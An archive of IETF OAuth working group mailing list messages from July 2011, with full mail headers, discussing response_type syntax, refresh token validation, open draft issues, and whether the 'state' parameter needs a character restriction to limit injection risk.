must >> >> >> >> be registered as a >> >> >> >> result: >> >> >> >> code+id_token >> >> >> >> token+id_token >> >> >> >> code+token+id_token >> >> >> >> >> >> >> >> and this assumes that code+token is already registered. >> >> >> >> >> >> >> >> I think it makes more sense to define response_type as a space >> >> >> >> separated list of items, where each item can be individually >> >> >> >> registered. I do realize that this complicates things quite a >> >> >> >> bit (not we have to define and deal with both composite >> >> >> >> response_type and the individual items). >> >> >> >> >> >> >> >> As a side note, using + as separator could cause lots of >>problems. >> >> >> >> If people naively type "code+toke" it will be decoded as "code >> token". >> >> >> >> No one will remember the hex code for +. >> >> >> >> >> >> >> >> Marius >> >> >> >> _______________________________________________ >> >> >> >> OAuth mailing list >> >> >> >> OAuth@ietf.org >> >> >> >> https://www.ietf.org/mailman/listinfo/oauth >> >> >> > >> >> >> >> >> >> >> >> >> >> >> >> -- >> >> >> --Breno >> >> > >> >> >> >> >> >> >> >> -- >> >> --Breno >> > >>=20 >>=20 >>=20 >> -- >> --Breno >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth >>=20 >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth >_______________________________________________ >OAuth mailing list >OAuth@ietf.org >https://www.ietf.org/mailman/listinfo/oauth From zachary.zeltsan@alcatel-lucent.com Wed Jul 13 15:19:54 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2A1B411E813F for ; Wed, 13 Jul 2011 15:19:54 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -6.599 X-Spam-Level: X-Spam-Status: No, score=-6.599 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, RCVD_IN_DNSWL_MED=-4] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id cDPN5+0388l9 for ; Wed, 13 Jul 2011 15:19:53 -0700 (PDT) Received: from ihemail4.lucent.com (ihemail4.lucent.com [135.245.0.39]) by ietfa.amsl.com (Postfix) with ESMTP id 8E1C511E8082 for ; Wed, 13 Jul 2011 15:19:53 -0700 (PDT) Received: from usnavsmail1.ndc.alcatel-lucent.com (usnavsmail1.ndc.alcatel-lucent.com [135.3.39.9]) by ihemail4.lucent.com (8.13.8/IER-o) with ESMTP id p6DMJpOZ027653 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 13 Jul 2011 17:19:51 -0500 (CDT) Received: from USNAVSXCHHUB01.ndc.alcatel-lucent.com (usnavsxchhub01.ndc.alcatel-lucent.com [135.3.39.110]) by usnavsmail1.ndc.alcatel-lucent.com (8.14.3/8.14.3/GMO) with ESMTP id p6DMJoxF012373 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT) for ; Wed, 13 Jul 2011 17:19:51 -0500 Received: from USNAVSXCHMBSA3.ndc.alcatel-lucent.com ([135.3.39.126]) by USNAVSXCHHUB01.ndc.alcatel-lucent.com ([135.3.39.110]) with mapi; Wed, 13 Jul 2011 17:19:50 -0500 From: "Zeltsan, Zachary (Zachary)" To: "'OAuth WG'" Date: Wed, 13 Jul 2011 17:19:49 -0500 Thread-Topic: Validation of a refresh token Thread-Index: AcxBqvqzkcx538PDQPiVCHRdrdRHhw== Message-ID: <5710F82C0E73B04FA559560098BF95B125087447E8@USNAVSXCHMBSA3.ndc.alcatel-lucent.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Scanned-By: MIMEDefang 2.57 on 135.245.2.39 X-Scanned-By: MIMEDefang 2.64 on 135.3.39.9 Subject: [OAUTH-WG] Validation of a refresh token X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 13 Jul 2011 22:19:54 -0000 There is a requirement in the core specification (Section "6 Refreshing an = Access Token) that authorization server "MUST verify that the resource owne= r's authorization is still valid" when issuing an access token in exchange = for a refresh token. How is such verification done (given that authorizatio= n server does not interact with the resource owner at this stage)? What exa= ctly must be checked (e.g., a revocation list, expiration time, ...)? Zachary=20 =20 From eran@hueniverse.com Wed Jul 13 15:25:59 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B070F11E8084 for ; Wed, 13 Jul 2011 15:25:59 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.602 X-Spam-Level: X-Spam-Status: No, score=-2.602 tagged_above=-999 required=5 tests=[AWL=-0.003, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Cf+E7k93dPAd for ; Wed, 13 Jul 2011 15:25:55 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id AD2E111E8075 for ; Wed, 13 Jul 2011 15:25:55 -0700 (PDT) Received: (qmail 24740 invoked from network); 13 Jul 2011 22:25:55 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.21) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 13 Jul 2011 22:25:55 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT003.EX1.SECURESERVER.NET ([72.167.180.21]) with mapi; Wed, 13 Jul 2011 15:25:31 -0700 From: Eran Hammer-Lahav To: "Zeltsan, Zachary (Zachary)" , 'OAuth WG' Date: Wed, 13 Jul 2011 15:25:18 -0700 Thread-Topic: Validation of a refresh token Thread-Index: AcxBqvqzkcx538PDQPiVCHRdrdRHhwAAF/Ew Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0932@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <5710F82C0E73B04FA559560098BF95B125087447E8@USNAVSXCHMBSA3.ndc.alcatel-lucent.com> In-Reply-To: <5710F82C0E73B04FA559560098BF95B125087447E8@USNAVSXCHMBSA3.ndc.alcatel-lucent.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] Validation of a refresh token X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 13 Jul 2011 22:25:59 -0000 I think we can remove that line. The refresh token represents the original = authorization and the server an decide when it is still valid. EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Zeltsan, Zachary (Zachary) > Sent: Wednesday, July 13, 2011 3:20 PM > To: 'OAuth WG' > Subject: [OAUTH-WG] Validation of a refresh token >=20 >=20 > There is a requirement in the core specification (Section "6 Refreshing a= n > Access Token) that authorization server "MUST verify that the resource > owner's authorization is still valid" when issuing an access token in exc= hange > for a refresh token. How is such verification done (given that authorizat= ion > server does not interact with the resource owner at this stage)? What exa= ctly > must be checked (e.g., a revocation list, expiration time, ...)? >=20 > Zachary >=20 >=20 > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From barryleiba.mailing.lists@gmail.com Fri Jul 15 07:36:44 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A8E4621F8749 for ; Fri, 15 Jul 2011 07:36:44 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -103.069 X-Spam-Level: X-Spam-Status: No, score=-103.069 tagged_above=-999 required=5 tests=[AWL=-0.092, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id T5uEELBmOFJN for ; Fri, 15 Jul 2011 07:36:44 -0700 (PDT) Received: from mail-gw0-f44.google.com (mail-gw0-f44.google.com [74.125.83.44]) by ietfa.amsl.com (Postfix) with ESMTP id 16DB421F8744 for ; Fri, 15 Jul 2011 07:36:44 -0700 (PDT) Received: by gwb20 with SMTP id 20so623453gwb.31 for ; Fri, 15 Jul 2011 07:36:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:content-type; bh=5VvJOhRBu1gzbvbk527OlO3jG06uj0J3K7WcXrXapvU=; b=UiuHWsR3YRl/XEVZJaN8HrlwuBGfk1k5SCu4WjJiLkfccGAY+tZ7y9nyQ/1z+71aWi OgFgBo+J5UnPzGb/7KbIFcbL1ADBRubnSqTQavyBbsxoMSFzm9SbBKk0mFO/PckJSGbV YaZCSW+3ZwZ00Xg7JM9rJsF42JjcMUHdQ8GdU= MIME-Version: 1.0 Received: by 10.150.48.1 with SMTP id v1mr3645689ybv.119.1310740602239; Fri, 15 Jul 2011 07:36:42 -0700 (PDT) Sender: barryleiba.mailing.lists@gmail.com Received: by 10.147.172.10 with HTTP; Fri, 15 Jul 2011 07:36:42 -0700 (PDT) In-Reply-To: References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0097@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Fri, 15 Jul 2011 10:36:42 -0400 X-Google-Sender-Auth: muNh4bC6ZCMwQPC9_T1epZRb8FY Message-ID: From: Barry Leiba To: OAuth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: Re: [OAUTH-WG] draft-ietf-oauth-v2-18 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jul 2011 14:36:44 -0000 >> List of open issues: >> >> * Consensus for new Client Registration section (2) >> * Consensus for revised Redirection URI section (3.1.2) >> * Consensus for new token endpoint Client Authentication section (3.2.1) >> * Consensus for new authorization endpoint response type extensibility (8.4) These issues have been open for almost a week -- they're issues 15 thru 18 in the tracker: http://trac.tools.ietf.org/wg/oauth/trac/report/1 There's already text in draft-ietf-oauth-v2-18 for them, marked as "pending consensus", so we have only to confirm that the text is acceptable to the working group. There's been no discussion of that text that I've seen, and I take that to mean that what's there looks good. We'll give it another few days, and take silence to mean assent. In other words, if anyone has problems with the "pending consensus" text, please start a new thread about it, and put the issue number in the subject line ("Subject: Issue 15, new client registration", for example). Barring objections by this coming Tuesday afternoon (19 July), I will close issues 15 thru 18. As soon as we get resolutions for issues 19 thru 21, we'd like to start working group last call on draft-ietf-oauth-v2. So let's get all the issues sorted out as soon as we can, and move this document ahead. Issues 19 thru 21: > * Missing example from security section 10.4 Refresh Tokens > * Missing reference to DOM variable example in section 10.12 Cross-Site > Request Forgery > * Need editing for 10.13 Clickjacking to better align with the protocol terminology, > missing reference for x-frame-options header Barry, as chair From eran@hueniverse.com Fri Jul 15 08:03:55 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 07E0D21F85D2 for ; Fri, 15 Jul 2011 08:03:55 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.602 X-Spam-Level: X-Spam-Status: No, score=-2.602 tagged_above=-999 required=5 tests=[AWL=-0.003, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id c6Aj4ZakSm2M for ; Fri, 15 Jul 2011 08:03:54 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id 7624821F85A9 for ; Fri, 15 Jul 2011 08:03:54 -0700 (PDT) Received: (qmail 25299 invoked from network); 15 Jul 2011 15:03:51 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 15 Jul 2011 15:03:50 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Fri, 15 Jul 2011 08:03:24 -0700 From: Eran Hammer-Lahav To: Barry Leiba , OAuth WG Date: Fri, 15 Jul 2011 08:03:06 -0700 Thread-Topic: [OAUTH-WG] draft-ietf-oauth-v2-18 Thread-Index: AcxC/LZNwei/aMTNRvGWSsx+tJ1vLgAAwlGA Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D6E01FA@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0097@P3PW5EX1MB01.EX1.SECURESERVER.NET> In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] draft-ietf-oauth-v2-18 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jul 2011 15:03:55 -0000 Issue 18 did raise some comments. The feedback was that the parameter value= should be changed from a simple string to a space-delimited list of values= . 5 people expressed support with 2 (myself included) expressed concern abo= ut this change. I would be great if others would take 10 minutes to study i= t and join the conversation (the thread is 'defining new response types'). Issues 15-17 are not trivial changes and I would really like to see some co= mments about them, even if just of support. EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Barry Leiba > Sent: Friday, July 15, 2011 7:37 AM > To: OAuth WG > Subject: Re: [OAUTH-WG] draft-ietf-oauth-v2-18 >=20 > >> List of open issues: > >> > >> * Consensus for new Client Registration section (2) > >> * Consensus for revised Redirection URI section (3.1.2) > >> * Consensus for new token endpoint Client Authentication section > >> (3.2.1) > >> * Consensus for new authorization endpoint response type > >> extensibility (8.4) >=20 > These issues have been open for almost a week -- they're issues 15 thru 1= 8 in > the tracker: > http://trac.tools.ietf.org/wg/oauth/trac/report/1 >=20 > There's already text in draft-ietf-oauth-v2-18 for them, marked as "pendi= ng > consensus", so we have only to confirm that the text is acceptable to the > working group. There's been no discussion of that text that I've seen, a= nd I > take that to mean that what's there looks good. >=20 > We'll give it another few days, and take silence to mean assent. In othe= r > words, if anyone has problems with the "pending consensus" text, please > start a new thread about it, and put the issue number in the subject line > ("Subject: Issue 15, new client registration", for example). Barring obj= ections > by this coming Tuesday afternoon (19 July), I will close issues 15 thru 1= 8. >=20 > As soon as we get resolutions for issues 19 thru 21, we'd like to start w= orking > group last call on draft-ietf-oauth-v2. So let's get all the issues sort= ed out as > soon as we can, and move this document ahead. >=20 > Issues 19 thru 21: > > * Missing example from security section 10.4 Refresh Tokens > > * Missing reference to DOM variable example in section 10.12 Cross-Site > > Request Forgery > > * Need editing for 10.13 Clickjacking to better align with the protocol > terminology, > > missing reference for x-frame-options header >=20 > Barry, as chair > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From bigbadbob0@gmail.com Fri Jul 15 08:35:12 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 0DF0D21F888A for ; Fri, 15 Jul 2011 08:35:12 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.695 X-Spam-Level: X-Spam-Status: No, score=-2.695 tagged_above=-999 required=5 tests=[AWL=0.282, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id BUlSkqrcEV+r for ; Fri, 15 Jul 2011 08:35:11 -0700 (PDT) Received: from mail-qw0-f44.google.com (mail-qw0-f44.google.com [209.85.216.44]) by ietfa.amsl.com (Postfix) with ESMTP id 6AC3321F8880 for ; Fri, 15 Jul 2011 08:35:11 -0700 (PDT) Received: by qwc23 with SMTP id 23so927619qwc.31 for ; Fri, 15 Jul 2011 08:35:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:date:x-google-sender-auth:message-id:subject :from:to:content-type; bh=X7ENWHelsqVBHuHGjbL8HoNv2B1FntS0QRn5g4/Q3ao=; b=rtkPW99Oq8rhku9hhHON4JGI+GCnR55ccZK7t+vKg2I5LZHxzmJi7Yw6MulOdp0FYj fhDAXkjES9RfEfQXze36SyPqjI2tIuHiCPXzvyRGaH7NdTIASyeZZBNF0Yur/XtnJlfD fHsqHdpfbyPCxlWcFuvhbcyQWBmiSFrhcDs0w= MIME-Version: 1.0 Received: by 10.229.30.138 with SMTP id u10mr426344qcc.3.1310744110593; Fri, 15 Jul 2011 08:35:10 -0700 (PDT) Sender: bigbadbob0@gmail.com Received: by 10.229.100.136 with HTTP; Fri, 15 Jul 2011 08:35:10 -0700 (PDT) Date: Fri, 15 Jul 2011 08:35:10 -0700 X-Google-Sender-Auth: FPa8CPMwrGo5jQaMaS5iCEwOevA Message-ID: From: Bob Van Zant To: OAuth WG Content-Type: text/plain; charset=ISO-8859-1 Subject: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jul 2011 15:35:12 -0000 Hi everyone, I'm in the process of implementing OAuth and I'm a little concerned about the "state" parameter that a client can send as part of the authorization request. The spec says that the value is opaque and that I need to accept, store, and reply with exactly what the client sent me. Can we impose some restrictions on the type of data a client can send? The reason is that I don't necessarily trust the clients of my API to properly deal with sanitizing data. If someone steals a client_id (not hard) and puts something malicious into the state field I'll happily redirect the resource owner to my client's site with malicious data in state. If the client does not properly handle this malicious data (there's an established track record here) then I've opened my customer (the resource owner) to an attack. Did I miss something in the spec where it limits what this variable can be? If not I'd like to propose that we limit this field to a set of characters that are safe. [a-zA-Z0-9_-]{0,100} The authorization server would validate that the state field contains only those characters and if not SHOULD show the resource owner an error (consistent with section 4.1.2.1, paragraph 1 and others). Thank you for all of your hard work on this spec to date and thanks for your consideration of my comments. -Bob From eran@hueniverse.com Fri Jul 15 08:41:35 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6FB8721F88B2 for ; Fri, 15 Jul 2011 08:41:35 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.601 X-Spam-Level: X-Spam-Status: No, score=-2.601 tagged_above=-999 required=5 tests=[AWL=-0.002, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id J2SuC+t5Rna1 for ; Fri, 15 Jul 2011 08:41:35 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id B560221F8868 for ; Fri, 15 Jul 2011 08:41:25 -0700 (PDT) Received: (qmail 31187 invoked from network); 15 Jul 2011 15:41:25 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 15 Jul 2011 15:41:25 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Fri, 15 Jul 2011 08:41:20 -0700 From: Eran Hammer-Lahav To: Bob Van Zant , OAuth WG Date: Fri, 15 Jul 2011 08:41:02 -0700 Thread-Topic: [OAUTH-WG] OAuth v2-18 comment on "state" parameter Thread-Index: AcxDBM7lJAeDhHG7TXeE2WExkZV3jQAAHb9w Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D6E020F@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jul 2011 15:41:35 -0000 I don't see the problem. The state value is percent-encoded both ways, so t= he only way to inject a bad value there is by including a value that has sp= ecial meaning to the client. Putting a character limit on it will not do an= ything to prevent that. The server should reject requests with query parameters that are not proper= ly percent-encoded. EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Bob Van Zant > Sent: Friday, July 15, 2011 8:35 AM > To: OAuth WG > Subject: [OAUTH-WG] OAuth v2-18 comment on "state" parameter >=20 > Hi everyone, > I'm in the process of implementing OAuth and I'm a little concerned about > the "state" parameter that a client can send as part of the authorization > request. The spec says that the value is opaque and that I need to accept= , > store, and reply with exactly what the client sent me. Can we impose some > restrictions on the type of data a client can send? >=20 > The reason is that I don't necessarily trust the clients of my API to pro= perly > deal with sanitizing data. If someone steals a client_id (not > hard) and puts something malicious into the state field I'll happily redi= rect the > resource owner to my client's site with malicious data in state. If the c= lient > does not properly handle this malicious data (there's an established trac= k > record here) then I've opened my customer (the resource owner) to an > attack. >=20 > Did I miss something in the spec where it limits what this variable can b= e? If > not I'd like to propose that we limit this field to a set of characters t= hat are > safe. [a-zA-Z0-9_-]{0,100} >=20 > The authorization server would validate that the state field contains onl= y > those characters and if not SHOULD show the resource owner an error > (consistent with section 4.1.2.1, paragraph 1 and others). >=20 > Thank you for all of your hard work on this spec to date and thanks for y= our > consideration of my comments. >=20 > -Bob > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth From bigbadbob0@gmail.com Fri Jul 15 08:48:45 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id DC11321F89A3 for ; Fri, 15 Jul 2011 08:48:45 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.789 X-Spam-Level: X-Spam-Status: No, score=-2.789 tagged_above=-999 required=5 tests=[AWL=0.188, BAYES_00=-2.599, FM_FORGED_GMAIL=0.622, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id DDIvsasFOgU6 for ; Fri, 15 Jul 2011 08:48:41 -0700 (PDT) Received: from mail-qw0-f44.google.com (mail-qw0-f44.google.com [209.85.216.44]) by ietfa.amsl.com (Postfix) with ESMTP id A43EF21F887C for ; Fri, 15 Jul 2011 08:48:41 -0700 (PDT) Received: by qwc23 with SMTP id 23so936243qwc.31 for ; Fri, 15 Jul 2011 08:48:41 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:sender:in-reply-to:references:date :x-google-sender-auth:message-id:subject:from:to:cc:content-type; bh=JCxbJW2fWCY854aVB4gBhcdKtSRvieLlKSe3JdKD+l0=; b=OzBb2/0ab3UAlic0M7q5cnR6NOd8irGypjqtwigLyKaOpMjKhFykAjqZxBQtGM2OrP s27OG/4zcAgBdemOiWI+am3KWJnjjodI/GSe/r7FdQE16YrEERUKiwZKX0/gry+fyQ3S ycxzXR0Kdbghr4Ygw2rWN7vzHNdISSF+DZuag= MIME-Version: 1.0 Received: by 10.229.106.69 with SMTP id w5mr2866412qco.41.1310744920976; Fri, 15 Jul 2011 08:48:40 -0700 (PDT) Sender: bigbadbob0@gmail.com Received: by 10.229.100.136 with HTTP; Fri, 15 Jul 2011 08:48:40 -0700 (PDT) In-Reply-To: <90C41DD21FB7C64BB94121FBBC2E7234501D6E020F@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E020F@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Fri, 15 Jul 2011 08:48:40 -0700 X-Google-Sender-Auth: ZtMqrMEFMc1kcGprbjBeU0Iu27I Message-ID: From: Bob Van Zant To: Eran Hammer-Lahav Content-Type: text/plain; charset=ISO-8859-1 Cc: OAuth WG Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 15 Jul 2011 15:48:46 -0000 It wasn't the length that I cared about very much. Other than I don't want to have to accept someone's 1024 byte state value (it's a waste of my resources). Percent encoding doesn't help when the client un-percent encodes it and puts it verbatim onto his website. An example: Perhaps the state variable is supposed to be the resource owner's name. The attacker creates a link to my API that is: /oauth/authorize?client_id=xxx&response_type=code&state=percent_encoded() If the client simply puts "state" back onto some webpage, after un-percent encoding it but without HTML encoding it, then we have a vulnerability? -Bob On Fri, Jul 15, 2011 at 8:41 AM, Eran Hammer-Lahav wrote: > I don't see the problem. The state value is percent-encoded both ways, so the only way to inject a bad value there is by including a value that has special meaning to the client. Putting a character limit on it will not do anything to prevent that. > > The server should reject requests with query parameters that are not properly percent-encoded. > > EHL > >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf >> Of Bob Van Zant >> Sent: Friday, July 15, 2011 8:35 AM >> To: OAuth WG >> Subject: [OAUTH-WG] OAuth v2-18 comment on "state" parameter >> >> Hi everyone, >> I'm in the process of implementing OAuth and I'm a little concerned about >> the "state" parameter that a client can send as part of the authorization >> request. The spec says that the value is opaque and that I need to accept, >> store, and reply with exactly what the client sent me. Can we impose some >> restrictions on the type of data a client can send? >> >> The reason is that I don't necessarily trust the clients of my API to properly >> deal with sanitizing data. If someone steals a client_id (not >> hard) and puts something malicious into the state field I'll happily redirect the >> resource owner to my client's site with malicious data in state. If the client >> does not properly handle this malicious data (there's an established track >> record here) then I've opened my customer (the resource owner) to an >> attack. >> >> Did I miss something in the spec where it limits what this variable can be? If >> not I'd like to propose that we limit this field to a set of characters that are >> safe. [a-zA-Z0-9_-]{0,100} >> >> The authorization server would validate that the state field contains only >> those characters and if not SHOULD show the resource owner an error >> (consistent with section 4.1.2.1, paragraph 1 and others). >> >> Thank you for all of your hard work on this spec to date and thanks for your >> consideration of my comments. >> >> -Bob >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth > From Michael.Jones@microsoft.com Fri Jul 15 10:02:00 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id D88CC21F8868 for ; Fri, 15 Jul 2011 10:02:00 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -9.948 X-Spam-Level: X-Spam-Status: No, score=-9.948 tagged_above=-999 required=5 tests=[AWL=-0.551, BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, J_CHICKENPOX_54=0.6, RCVD_IN_DNSWL_HI=-8] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id azBRmpeBFg7Y for ; Fri, 15 Jul 2011 10:01:59 -0700 (PDT) Received: from smtp.microsoft.com (smtp.microsoft.com [131.107.115.215]) by ietfa.amsl.com (Postfix) with ESMTP id 8877E21F8744 for ; Fri, 15 Jul 2011 10:01:41 -0700 (PDT) Received: from TK5EX14HUBC107.redmond.corp.microsoft.com (157.54.80.67) by TK5-EXGWY-E802.partners.extranet.microsoft.com (10.251.56.168) with Microsoft SMTP Server (TLS) id 8.2.176.0; Fri, 15 Jul 2011 